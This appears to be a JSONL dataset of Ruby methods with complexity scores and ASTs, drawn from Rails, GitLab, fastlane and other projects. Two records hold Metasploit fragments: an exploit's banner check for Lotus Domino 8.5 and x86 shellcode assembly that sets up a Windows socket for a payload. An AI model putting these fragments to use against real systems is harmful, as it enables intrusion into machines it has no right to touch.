{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/previewer/poppler_pdf_previewer.rb","start_line":25,"raw_source":"def preview(**options)\n      download_blob_to_tempfile do |input|\n        draw_first_page_from input do |output|\n          yield io: output, filename: \"#{blob.filename.base}.png\", content_type: \"image/png\", **options\n        end\n      end\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"preview\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"download_blob_to_tempfile\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw_first_page_from\",{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"io\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blob\"]},\"filename\"]},\"base\"]}]},{\"type\":\"str\",\"children\":[\".png\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"str\",\"children\":[\"image/png\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]}","id":"4a0885fa-3079-4323-b30d-c52c5142fb4c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket_server/page.rb","start_line":16,"raw_source":"def next\n      attrs.fetch(:nextPageStart)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"next\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attrs\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"nextPageStart\"]}]}]}","id":"36e69ae0-9b0b-4c01-a874-0e897ba0075a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/calculations.rb","start_line":44,"raw_source":"def truncate(name)\n          name.slice(0, @connection.table_alias_length - 2)\n        end","complexity_score":3.95,"ast_json":"{\"type\":\"def\",\"children\":[\"truncate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"slice\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"table_alias_length\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]}]}","id":"bd02dd0d-a747-459d-bb93-845f13a9ac1b"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/setup/setup_android.rb","start_line":67,"raw_source":"def init_supply\n      UI.message(\"\")\n      question = \"Do you plan on uploading metadata, screenshots, and builds to Google Play using fastlane?\".yellow\n      UI.message(question)\n      UI.message(\"We will now download your existing metadata and screenshots into the `fastlane` folder so fastlane can manage it\")\n      if UI.confirm(\"Download existing metadata and setup metadata management?\")\n        begin\n          require 'supply'\n          require 'supply/setup'\n          supply_config = {\n            json_key: self.json_key_file,\n            package_name: self.package_name\n          }\n          Supply.config = FastlaneCore::Configuration.create(Supply::Options.available_options, supply_config)\n          Supply::Setup.new.perform_download\n        rescue => ex\n          UI.error(ex.to_s)\n          UI.error(\"Setting up `supply` (metadata management action) failed, but don't worry, you can try setting it up again using `fastlane supply init` whenever you want.\")\n        end\n      else\n        UI.success(\"You can run `fastlane supply init` to set up metadata management at a later point.\")\n      end\n    end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"init_supply\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"question\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Do you plan on uploading metadata, screenshots, and builds to Google Play using fastlane?\"]},\"yellow\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"lvar\",\"children\":[\"question\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"We will now download your existing metadata and screenshots into the `fastlane` folder so fastlane can manage it\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"confirm\",{\"type\":\"str\",\"children\":[\"Download existing metadata and setup metadata management?\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"supply\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"supply/setup\"]}]},{\"type\":\"lvasgn\",\"children\":[\"supply_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"json_key_file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"package_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Supply\"]},\"config=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Configuration\"]},\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Supply\"]},\"Options\"]},\"available_options\"]},{\"type\":\"lvar\",\"children\":[\"supply_config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Supply\"]},\"Setup\"]},\"new\"]},\"perform_download\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"Setting up `supply` (metadata management action) failed, but don't worry, you can try setting it up again using `fastlane supply init` whenever you want.\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"You can run `fastlane supply init` to set up metadata management at a later point.\"]}]}]}]}]}","id":"d47596de-faa2-4aec-ae86-1b327f4a072b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/releases/create_service.rb","start_line":5,"raw_source":"def execute\n      return error(_('Access Denied'), 403) unless allowed?\n      return error(_('You are not allowed to create this tag as it is protected.'), 403) unless can_create_tag?\n      return error(_('Release already exists'), 409) if release\n\n      if inexistent_milestone_titles.any?\n        return error(\n          format(_(\"Milestone(s) not found: %{milestones}\"),\n            milestones: inexistent_milestone_titles.join(', ')), 400)\n      end\n\n      if inexistent_milestone_ids.any?\n        return error(\n          format(_(\"Milestone id(s) not found: %{milestones}\"),\n            milestones: inexistent_milestone_ids.join(', ')), 400)\n      end\n\n      # should be found before the creation of new tag\n      # because tag creation can spawn new pipeline\n      # which won't have any data for evidence yet\n      evidence_pipeline = Releases::EvidencePipelineFinder.new(project, params).execute\n\n      tag = ensure_tag\n\n      return tag unless tag.is_a?(Gitlab::Git::Tag)\n\n      create_release(tag, evidence_pipeline)\n    end","complexity_score":46.43,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Access Denied\"]}]},{\"type\":\"int\",\"children\":[403]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_create_tag?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"You are not allowed to create this tag as it is protected.\"]}]},{\"type\":\"int\",\"children\":[403]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"release\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Release already exists\"]}]},{\"type\":\"int\",\"children\":[409]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inexistent_milestone_titles\"]},\"any?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Milestone(s) not found: %{milestones}\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"milestones\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inexistent_milestone_titles\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]},{\"type\":\"int\",\"children\":[400]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inexistent_milestone_ids\"]},\"any?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Milestone id(s) not found: %{milestones}\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"milestones\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inexistent_milestone_ids\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]},{\"type\":\"int\",\"children\":[400]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"evidence_pipeline\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Releases\"]},\"EvidencePipelineFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]},\"execute\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[null,\"ensure_tag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Tag\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_release\",{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"evidence_pipeline\"]}]}]}]}","id":"e974286a-97d2-423c-846d-ad8507492f05"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/services/dialog_import_service.rb","start_line":192,"raw_source":"def responder_range(trigger_min, trigger_max)\n    min = trigger_min[:position] + 1\n    max = trigger_max.present? ? trigger_max[:position] - 1 : 100_000_000\n    (min..max)\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"responder_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"trigger_min\"]},{\"type\":\"arg\",\"children\":[\"trigger_max\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"min\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trigger_min\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"position\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trigger_max\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trigger_max\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"position\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"int\",\"children\":[100000000]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min\"]},{\"type\":\"lvar\",\"children\":[\"max\"]}]}]}]}]}","id":"52bf6ec7-51aa-4243-86ff-cd8e6a3bf348"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/merge_requests_service.rb","start_line":184,"raw_source":"def requested_changes\n      body = \"requested changes\"\n\n      create_note(NoteSummary.new(noteable, project, author, body, action: 'requested_changes'))\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"requested_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"str\",\"children\":[\"requested changes\"]}]},{\"type\":\"send\",\"children\":[null,\"create_note\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoteSummary\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"noteable\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"author\"]},{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"requested_changes\"]}]}]}]}]}]}]}","id":"5d46f910-b619-4b7c-b36c-d4feabc798c9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/namespaces/adjourned_deletable.rb","start_line":46,"raw_source":"def scheduled_for_deletion_in_hierarchy_chain?\n      first_scheduled_for_deletion_in_hierarchy_chain.present?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"scheduled_for_deletion_in_hierarchy_chain?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_scheduled_for_deletion_in_hierarchy_chain\"]},\"present?\"]}]}","id":"cf7e0faa-a9a5-4536-b2c1-823f24820850"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/result.rb","start_line":234,"raw_source":"def recursive_each_with_level(level = 0, depth_first = true, &)\n      if depth_first\n        super\n        each { |c| c.recursive_each_with_level(level + 1, depth_first, &) }\n      else # width-first\n        to_evaluate = [self]\n        lvl = level\n        while !to_evaluate.empty?\n          # evaluate all stored results and find the results we need to evaluate soon\n          to_evaluate_soon = []\n          to_evaluate.each do |r|\n            yield(lvl, r)\n            to_evaluate_soon.concat r.values if r.size > 0\n          end\n          # take new results to evaluate\n          lvl = lvl + 1\n          to_evaluate = to_evaluate_soon\n        end\n      end\n\n      def each_row\n        return enum_for(:each_row) unless block_given?\n\n        if final_row? then yield self\n        else each { |c| c.each_row(&Proc.new) }\n        end\n      end\n    end","complexity_score":35.53,"ast_json":"{\"type\":\"def\",\"children\":[\"recursive_each_with_level\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"level\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"optarg\",\"children\":[\"depth_first\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"depth_first\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"recursive_each_with_level\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"depth_first\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"to_evaluate\",{\"type\":\"array\",\"children\":[{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lvl\",{\"type\":\"lvar\",\"children\":[\"level\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_evaluate\"]},\"empty?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"to_evaluate_soon\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_evaluate\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lvl\"]},{\"type\":\"lvar\",\"children\":[\"r\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_evaluate_soon\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"values\"]}]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lvl\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lvl\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"to_evaluate\",{\"type\":\"lvar\",\"children\":[\"to_evaluate_soon\"]}]}]}]}]}]},{\"type\":\"def\",\"children\":[\"each_row\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enum_for\",{\"type\":\"sym\",\"children\":[\"each_row\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"final_row?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"self\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"each_row\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]}]}]}]}]}]}]}]}]}","id":"f3a964d0-7d92-45da-aa15-b0244916e251"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/lotus/domino_icalendar_organizer.rb","start_line":95,"raw_source":"def check\n    connect\n    banner = (sock.get_once(-1, 5) || '').chomp\n    disconnect\n\n    if banner =~ /Lotus Domino Release 8\\.5/\n      return Exploit::CheckCode::Appears\n    else\n      return Exploit::CheckCode::Safe\n    end\n  end","complexity_score":9.38,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"banner\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},\"chomp\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Lotus Domino Release 8\\\\.5\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}]}","id":"ed88e4fb-ed9c-40ae-a714-62ddb251c6c6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":331,"raw_source":"def test_reverse_order_with_multiargument_function\n    assert_raises(ActiveRecord::IrreversibleOrderError) do\n      Topic.order(Arel.sql(\"concat(author_name, title)\")).reverse_order\n    end\n    assert_raises(ActiveRecord::IrreversibleOrderError) do\n      Topic.order(Arel.sql(\"concat(lower(author_name), title)\")).reverse_order\n    end\n    assert_raises(ActiveRecord::IrreversibleOrderError) do\n      Topic.order(Arel.sql(\"concat(author_name, lower(title))\")).reverse_order\n    end\n    assert_raises(ActiveRecord::IrreversibleOrderError) do\n      Topic.order(Arel.sql(\"concat(lower(author_name), title, length(title)\")).reverse_order\n    end\n  end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reverse_order_with_multiargument_function\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"IrreversibleOrderError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"concat(author_name, title)\"]}]}]},\"reverse_order\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"IrreversibleOrderError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"concat(lower(author_name), title)\"]}]}]},\"reverse_order\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"IrreversibleOrderError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"concat(author_name, lower(title))\"]}]}]},\"reverse_order\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"IrreversibleOrderError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"concat(lower(author_name), title, length(title)\"]}]}]},\"reverse_order\"]}]}]}]}","id":"5aaa9987-254b-4d7e-9189-6aea0bd2f28e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/migrate_tcp.rb","start_line":31,"raw_source":"def generate_migrate(opts={})\n    %Q^\n    load_ws2_32:\n      push '32'\n      push 'ws2_'\n      push esp                  ; pointer to 'ws2_32'\n      push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n      call ebp                  ; LoadLibraryA('ws2_32')\n    init_networking:\n      mov eax, #{WSA_VERSION}   ; EAX == version, and is also used for size\n      sub esp, eax              ; allocate space for the WSAData structure\n      push esp                  ; Pointer to the WSAData structure\n      push eax                  ; Version required\n      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}\n      call ebp                  ; WSAStartup(Version, &WSAData)\n    create_socket:\n      push eax                  ; eax is 0 on success, use it for flags\n      push eax                  ; reserved\n      lea ebx, [esi+0x10]       ; get offset to the WSAPROTOCOL_INFO struct\n      push ebx                  ; pass the info struct address\n      push eax                  ; no protocol is specified\n      inc eax\n      push eax                  ; SOCK_STREAM\n      inc eax\n      push eax                  ; AF_INET\n      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}\n      call ebp                  ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)\n      xchg edi, eax\n    ^\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    load_ws2_32:\\n\"]},{\"type\":\"str\",\"children\":[\"      push '32'\\n\"]},{\"type\":\"str\",\"children\":[\"      push 'ws2_'\\n\"]},{\"type\":\"str\",\"children\":[\"      push esp                  ; pointer to 'ws2_32'\\n\"]},{\"type\":\"str\",\"children\":[\"      push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"LoadLibraryA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      call ebp                  ; LoadLibraryA('ws2_32')\\n\"]},{\"type\":\"str\",\"children\":[\"    init_networking:\\n\"]},{\"type\":\"str\",\"children\":[\"      mov eax, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WSA_VERSION\"]}]},{\"type\":\"str\",\"children\":[\"   ; EAX == version, and is also used for size\\n\"]},{\"type\":\"str\",\"children\":[\"      sub esp, eax              ; allocate space for the WSAData structure\\n\"]},{\"type\":\"str\",\"children\":[\"      push esp                  ; Pointer to the WSAData structure\\n\"]},{\"type\":\"str\",\"children\":[\"      push eax                  ; Version required\\n\"]},{\"type\":\"str\",\"children\":[\"      push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ws2_32.dll\"]},{\"type\":\"str\",\"children\":[\"WSAStartup\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      call ebp                  ; WSAStartup(Version, &WSAData)\\n\"]},{\"type\":\"str\",\"children\":[\"    create_socket:\\n\"]},{\"type\":\"str\",\"children\":[\"      push eax                  ; eax is 0 on success, use it for flags\\n\"]},{\"type\":\"str\",\"children\":[\"      push eax                  ; reserved\\n\"]},{\"type\":\"str\",\"children\":[\"      lea ebx, [esi+0x10]       ; get offset to the WSAPROTOCOL_INFO struct\\n\"]},{\"type\":\"str\",\"children\":[\"      push ebx                  ; pass the info struct address\\n\"]},{\"type\":\"str\",\"children\":[\"      push eax                  ; no protocol is 